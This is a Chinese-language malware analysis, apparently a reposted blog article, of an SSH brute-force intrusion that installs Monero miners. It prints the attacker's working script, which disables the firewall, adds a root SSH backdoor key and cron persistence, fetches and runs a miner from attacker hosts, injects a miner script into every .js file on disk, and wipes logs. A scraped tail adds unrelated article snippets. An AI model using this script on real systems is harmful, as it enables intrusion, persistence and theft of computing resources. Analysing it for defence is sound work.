XMR恶意挖矿案例简析

前言

数字货币因其技术去中性化和经济价值等属性,逐渐成为大众关注的焦点,同时通过恶意挖矿获取数字货币是黑灰色产业获取收益的重要途径。本文简析通过蜜罐获取的XMR恶意挖矿事件:攻击者通过爆破SSH获取系统权限,配置root用户免密登录,并下载及执行XMR 挖矿程序,及XMR 网页挖矿程序。XMR挖矿程序耗肉鸡CPU/GPU资源,网页挖矿程序耗访问肉鸡服务器JS 网页的客户端资源 。

2018年10月11日,攻击者使用恶意IP(223.89.72.8)暴力破解Victim的SSH服务成功,获取系统账号权限。

2)关闭Victim的防火墙

通过暴力破解获得的账号登录Victim并,进入工作目录/tmp,并尝试关闭主机防火墙。

[email protected]:~#cd/tmp
[email protected]:~#/etc/init.d/iptablesstop
[email protected]:~#serviceiptablesstop
[email protected]:~#SuSefirewall2stop
[email protected]:~#reSuSefirewall2stop
 3)下载恶意脚本

命令Victim从Malware Server(140.143.35.89:43768)下载恶意文件shz.sh:

[email protected]:/tmp#wgethttp://140.143.35.89:43768/shz.sh
[4l--2018-10-1119:07:34--http://140.143.35.89:43768/shz.sh
Connectingto140.143.35.89:43768...connected.
HTTPrequestsent,awaitingresponse...200OK
Length:7470(7K)[application/octet-stream]
Savingto:`/tmp/shz.sh‘
58%[======================>]4,38041K/seta0s
100%[======================================>]7,47041K/s
2018-10-**:*:*(41KB/s)-`/tmp/shz.sh‘saved[7470/7470]
 二、执行恶意脚本

获取Victim肉鸡权限及下载恶意脚本后,命令Victim执行/tmp/shz.sh,下面简析shz.sh的恶意行为。

1)开始执行 [email protected]:/tmp#shshz.sh& 2)基本配置

获取Victim的定时Crontab定时任务文件及内容,SSH登录的公钥,更改下载文件命令及变量定义等基本配置。

#!/bin/sh
#Crontab定时任务(crontab-e)
crondir=‘/var/spool/cron/‘"$USER"
cont=`cat${crondir}`
#SSH登录公钥
ssht=`cat/root/.ssh/authorized_keys`
#自定义变量
echo1>/etc/gmbpr
rtdir="/etc/gmbpr"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/url"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/get"
#更改命令名称
mv/usr/bin/wget/usr/bin/get
mv/usr/bin/curl/usr/bin/url
 3)判断账号权限(特殊权限)

如果文件/etc/gmbpr存在,即被暴力破解的账号有/etc写权限,一般root。设置工作目录为/etc:

if[-f"$rtdir"]

3.1 定时任务+无密登录

#将恶意脚本/etc/shz.sh加入系统crontab定时任务中
[[$cont=~"shz.sh"]]||echo"*****sh/etc/shz.sh>/dev/null2>&1">>${crondir}
#将攻击者的SSH登录公钥加入authorized_key中,用于无密登录ssh
[[$ssht=~"xvsRtqHLMWoh"]]||echo"ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfi
PAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqH
LMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8Ybq
[email protected]_me">>/root/.ssh/authorized_keys

3.2 恶意挖矿的配置文件

如果配置文件/etc/com.json不存在,则从http://140.143.35.89:43768/com.json下载至/etc/com.json。

cfg="/etc/com.json"
if[-f"$cfg"]
then
echo"existsconfig"
else
if[-f"$bbdir"]
then
curl--connect-timeout10--retry100http://140.143.35.89:43768/com.json>/et
c/com.json
elif[-f"$bbdira"]

/com.json
elif[-f"$ccdir"]

wget--timeout=10--tries=100-P/etchttp://140.143.35.89:43768/com.json

fi
fi

3.3 ELF挖矿主程序

从http://zjgw-1256891197.cos.ap-beijing.myqcloud.com下载恶意挖矿主程序zjgw至/etc。zjgw为elf格式的二进制文件。

if[-f"$bbdir"]

curl--connect-timeout10--retry100http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zjgw>/etc/zjgw
elif[-f"$bbdira"]

url--connect-timeout10--retry100http://zjgw-1256891197.cos.ap-beijing.myqcloud.com/zjgw>/etc/zjgw
elif[-f"$ccdir"]

wget--timeout=10--tries=100-P/etchttp://dwz.cn/hqCK3WKx

fi

3.4 运行恶意挖矿程序

挖矿程序zjgw+配置文件com.json:

chmod777zjgw
#com.json配置文件中将unknow替换成字符${ip}
sed-i"s/unknow/${ip}/g"com.json
sleep5s
#执行挖矿程序
./zjgw--config=com.json
#清除命令日志痕迹
history-c
echo>/root/.bash_history

3.5 下载并运行shz.sh脚本文件

shdir=‘/etc/shz.sh‘
if[-f"$shdir"]

echo"existsshell"

curl--connect-timeout10--retry100http://140.143.35.89:43768/shz.sh>/etc/shz.sh

wget--timeout=10--tries=100-P/etchttp://140.143.35.89:43768/shz.sh

sh/etc/shz.sh
fi
 4)判断账号权限(普通权限)

如果文件/etc/gmbpr不存在,即被暴力破解的账号是常规用户权限,添加启动脚本至Crontab定时任务中。设置工作目录为/tmp:

4.1)下载配置文件com.json至/tmp

4.2)下载挖矿主程序zjgw至/tmp

4.3)运行恶意挖矿程序+配置文件(同3.4)

4.4)下载并运行恶意脚本/tmp/shz.sh(同3.5)

5)Monero Javascript网页挖矿

在Victim全盘查找js文件,并插入网页挖矿JS脚本document.write(‘<script src=”http://t.cn/EvlonFh“></script><script>OMINEId(“e02cf4ce91284dab9bc3fc4cc2a65e28″,”-1″)</script>’);

find/-name‘*.js‘|xargsgrep-Lf4ce9|xargssed-i‘$a\document.write\(‘\‘\<script\src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\
>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\‘\)\;
 6)清除痕迹

攻击者清除攻击日志痕迹

echo>/var/spool/mail/root
echo>/var/log/wtmp
echo>/var/log/secure
三、执行ELF挖矿程序 1)挖矿配置文件com.json

通过配置文件查看到XMR数字货币的挖矿算法、挖矿地址和钱包地址等:

{

#XMR门罗币的主要共识机制(挖矿算法):cryptonight

"algo":"cryptonight",

"api":{

"port":0,

"access-token":null,

"worker-id":null,

"ipv6":false,

"restricted":true

},

"av":0,

"background":true,

"colors":true,

"cpu-priority":5,

"donate-level":1,

"log-file":null,

"max-cpu-usage":90,

"pools":[

{

#挖矿地址

"url":"stratum+tcp://xmr.f2pool.com:13531",

#钱包地址

"user":

"46j2hc8eJbZZST8L4cpmLdjKKvWnggQVt9HRLYHsCKHUZbuok15X93ag9djxnt2mdpdJPRCsvuHzm92iahdpBxZa3FbBovX.unknow",

"pass":"x",

"keepalive":true,

"nicehash":false,

"variant":-1

],

"print-time":60,

"retries":99999,

"retry-pause":5,

"safe":false,

"syslog":false,

}

2)挖矿主程序zjgw

zjgw为64为的elf二进制文件,VirusTal检出功能包含了挖矿功能。

截止当前,攻击者恶意ELF程序使用f2pool矿池,上述钱包地址相关收益信息:

(1)164矿工正在线进行挖矿;

(2)共捕获254矿工;

(3)此钱包地址总收益4.7XMR,按当前市场价格736RMB价格计算,约收获3459RMB

(4)这些矿工,可能很多是攻击者捕获的肉鸡;攻击者也可能还有更多其他的钱包地址及肉鸡矿工即进行获益。

短网址指向https://xmr.omine.org/assets/v7.js

HTTP/1.1302Found
Date:Mon,15Oct201808:02:12GMT
Content-Type:text/html;charset=UTF-8
Content-Length:216
Connection:keep-alive
Set-Cookie:aliyungf_tc=AQAAAN65sGSyOQcAihDut35iYAxQi2Sj;Path=/;HttpOnly
Server:nginx
Location:https://xmr.omine.org/assets/v7.js
 2)curl https://xmr.omine.org/assets/v7.js

javascript脚本文件,包含了矿池地址wss://xmr.ominie.org:8181:

假设攻击者的JS网页挖矿与ELF程序挖矿使用的同一个钱包46j2hc8eJbZZST8L4cpmLdjKKvWnggQVt9HRLYHsCKHUZbuok15X93ag9djxnt2mdpdJPRCsvuHzm92iahdpBxZa3FbBovX ,此处收益相对较少,有0.037个XMR。

攻击者通过SSH暴力破解获取系统账号后,一方面通过下载及运行ELF二进制挖矿程序,利用系统CPU/GPU资源进行XMR(门罗币)挖矿;另一方面,通过在系统里面的JS文件中插入JS网页挖矿的代码,利用远程访问系统JS网页的客户端资源进行XMR网页挖矿。建议措施:

http://3g.163.com/dy/article/DUIH9G5O05119F6V.html

(1)账号加固;

(2)系统资源、网络、进程监控;

(3)检查系统是否有恶意资源滥用情况(ELF挖矿程序);

(4)检查系统是否有恶意JS网页挖矿脚本(网页挖矿脚本);

(5)其他

原文地址:https://www.cnblogs.com/jiangjunli/p/9865668.html

时间: 2024-08-01 14:40:28

XMR恶意挖矿案例简析的相关文章

网站被XMR恶意挖矿

发现: 网站首页被恶意更改 网站的关键词和描述被恶意更改 服务器和只要访问此服务器上的网页cup 直线上升100% 排查代码发现js 文件被恶意更改,访问了挖矿网站 操作:删除js 里面的恶意代码,更改了账号. 网站查询得知:网站被XMR 恶意挖矿,服务器已经被攻击. 建议措施: (1)账号加固: (2)系统资源.网络.进程监控: (3)检查系统是否有恶意资源滥用情况(ELF挖矿程序): (4)检查系统是否有恶意JS网页挖矿脚本(网页挖矿脚本): (5)其他 附带:网络说明 https://ww

某IDC数据中心智能布线系统案例简析

前言 2014年,全球IDC市场增长速度略有上升,整体市场规模达到327.9亿美元,增速为15.3%.其增长速度的主要拉动力来自于亚太,IT企业.互联网企业和电信企业在数据中心方面的投资加大推动了整体市场的发展.2014年中国IDC市场增长迅速,市场规模达到372.2亿元人民币,增速达41.8%,互联网市场的刚性需求拉动IDC快速增长.在过去六年,中国IDC市场复合增长率达到38.6%.IDC市场快速增长对管理维护提出了更高的要求,本文结合某IDC托管数据中心布线系统介绍下罗森伯格Pyxis智能

仿冒公检法手机诈骗简析

1 电话诈骗中的半壁江山: 仿冒公检法诈骗 电信诈骗,让人不胜其害.也让人不堪其扰,在受害者中有人倾家荡产,也有人家破人亡.2015年,全国电信诈骗发案59.9万起,被骗走222亿元,这两个数字触目惊心. 而根据腾讯移动安全/反诈骗实验室的数据显示电话诈骗损失中高达57.39%案件都是仿冒公检法诈骗,可以说仿冒公检法类是目前电话诈骗中最大的毒瘤. 2 仿冒公检法诈骗案情回顾 这个案例中诈骗骗子的诈骗套路分为以下几个步骤: 第一步:骗取信任. 骗子通过网络购买的受害者个人信息,例如身份证号.住址等

借助LANMT构架,简析ngnix的使用

LNMP流程图 nginx PHP Mysql Nginx Fastcgi_pass <-FastCGI-> fastcgi-(php-fpm)<->wrapper Php 解析器 (Php.ini) <->mysql fastcgi-(php-fpm)<->wrapper fastcgi-(php-fpm)<->wrapper fastcgi-(php-fpm)<->wrapper fastcgi-(php-fpm)<->

面向对象多态简析

C#&C++多态问题简析 在学习C#面向对象时,对封装和继承基本上还是理解的,但是碰到多态,基本上就是记住了个父类引用指向子类对象,在很长时间内也是一直比较困惑.学习c++时,基本上算是有了一定了解.下面结合代码解释多态问题 首先是c#代码 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace Duo

以Mail_location为例简析Dovecot中的变量格式

参考原文网址:http://wiki2.dovecot.org/MailLocation ????在学习Dovecot参数配置的时候,经常配到需要对变量的格式进行配置.有时候,对一些变量的配置格式不怎么理解.因此,这里主要参考了官方文档,就以mail_location变量的设置格式为例,对Dovecot中常见的变量设置格式进行简析. ????Dovecot中,mail_location的变量配置格式如下: mail_location = mailbox-fomat:path[:key=value

NETGEAR 系列路由器命令执行漏洞简析

NETGEAR 系列路由器命令执行漏洞简析 2016年12月7日,国外网站exploit-db上爆出一个关于NETGEAR R7000路由器的命令注入漏洞.一时间,各路人马开始忙碌起来.厂商忙于声明和修复,有些人忙于利用,而我们则在复现的过程中寻找漏洞的本质. 一.漏洞简介 1.漏洞简介 2016年12月7日,NETGEAR R7000路由器在exploit-db上被爆出存在远程命令执行漏洞,随着安全研究人员的不断深入,R8000和R6400这两款路由器也被证实有同样的问题. 2016年12月1

web应用构架LAMT及tomcat负载简析

Httpd    (mod_jk.so) workers.properties文件 uriworkermap.properties文件 <--AJP1.3--> Tomcat  --> jdk 大致流程:apache服务器通过mod_jk.so 模块处理jsp文件的动态请求.通过tomcat worker等待执行servlet/JSP的tomcat实例.使用 AJP1.3协议与tomcat通信.tomcat有借助jdk解析. 负载就是 多台tomcat.共同解析apache发送的jsp请

CentOS的网络配置简析

我们在进行对CentOS的网络配置时,一般会从IP地址(IPADDR).子网掩码(NETMASK).网关(Gateway).主机名(HOSTNAME).DNS服务器等方面入手.而在CentOS中,又有着不同的命令或配置文件可以完成这些配置操作,接下来,我们将从ifcfg系命令,iproute2系命令以及配置文件3个方面来简析网络配置的方法. 一.ifcfg系命令 ifcfg系命令包括ifconfig,route,netstat和hostname. 1.ifconfig命令 用来配置一个网络接口.